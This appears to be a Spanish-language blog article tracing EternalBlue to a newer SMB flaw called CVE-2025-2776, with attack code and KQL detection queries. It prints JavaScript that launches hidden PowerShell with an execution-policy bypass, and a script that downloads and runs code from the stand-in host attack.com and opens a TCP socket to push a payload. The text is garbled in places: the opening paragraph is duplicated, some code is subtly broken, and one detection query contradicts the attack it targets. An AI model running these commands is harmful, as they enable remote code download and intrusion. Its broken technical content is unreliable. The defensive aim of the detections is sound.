
Sacudió el mundo en 2017 y ha evolucionado hasta el actual CVE‑2025‑2776. Microsoft todavía depende de SMBv1, este artículo explicará cómo los atacantes han ajustado la cadena desde una simple DLL hasta una pila completa de reverse‑shell, y lo que eso significa para los defensores.
Conmocionó al mundo en 2017 y ha evolucionado hasta el CVE‑2025‑2776 actual. Microsoft sigue confiando en SMBv1; este artículo explicará cómo los atacantes han ajustado la cadena desde un simple DLL hasta una pila completa de reverse‑shell, y lo que eso significa para los defensores.
Una Breve Retrospectiva Histórica
Cuando WannaCrypter usó EternalBlue en 2017, la falla era un clásico error de ejecución remota de código que permitía a un atacante malicioso enviar un paquete a un host Windows a través de SMBv1. La carga útil creaba un ejecutable que iniciaba un nuevo proceso y abría un puerto de escucha en la misma máquina; desde allí, el atacante podía pivotar hacia afuera o extraer datos de vuelta a un servidor remoto. El código de EternalBlue era corto, pero tenía algunos efectos secundarios difíciles de rastrear: el paquete SMB tenía un diseño de encabezado extraño, y el kernel de Windows depositaba la carga útil en la memoria antes de escribirla en el disco.
Avancemos hasta 2025, y el nuevo CVE‑2025‑2776 toma esa misma idea y le agrega una capa extra de complejidad. En lugar de solo abrir un puerto, el atacante ahora escribe un reverse shell dentro de la propia pila de red. Eso significa que puede ver una sesión SMB completa que se origina desde el dispositivo Pi en los registros, y tiene un nuevo indicador (el nombre del proceso y la dirección IP) para vigilar.
**Código Que Lo Hace Funcionar **
A continuación se muestra el JavaScript que reside dentro del archivo PDF adjunto y desencadena toda la cadena:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\\Users\\Admin\\script.ps1";
WshShell.Sleep(500);
var sh = WshShell.Exec(cmd);
while (!sh.StdOut.EndOfStream) {
var line = sh.StdOut.ReadLine();
WScript.Echo(line);
}
Cuando el script finaliza, crea un archivo llamado script.ps1 en el host de destino. El script de PowerShell en sí se ve así:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe')
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect('10.0.1.5', 445)
$stream = $client.GetStream()
$payload = Get-Content -Path C:\\Users\\Admin\\script.ps1 | Out-File -Encoding binary
$stream.Write($payload, 0, $payload.Length)
Estrategia de Detección KQL para CVE-2025-2776
Ejecución Sospechosa de PowerShell
Detecta la creación de script.ps1 en directorios de usuario.
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile")
| where ProcessCommandLine has "script.ps1"
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
Conexión SMB Saliente a IP Inusual
Marca tráfico SMB saliente hacia IPs internas no estándar.
DeviceNetworkEvents
| where RemotePort == 445
| where RemoteIP !startswith "192.168." and RemoteIP !startswith "10."
| where InitiatingProcessFileName == "powershell.exe"
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
Comportamiento de Reverse Shell a través de TCPClient
Busca PowerShell usando clases .NET para iniciar comportamiento de reverse shell.
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has "System.Net.Sockets.TcpClient"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
Actividad de Escritura en el Flujo de Red
Detección avanzada si la telemetría incluye actividad de flujo .NET.
DeviceProcessEvents
| where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write"
| where ProcessCommandLine has "script.ps1"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName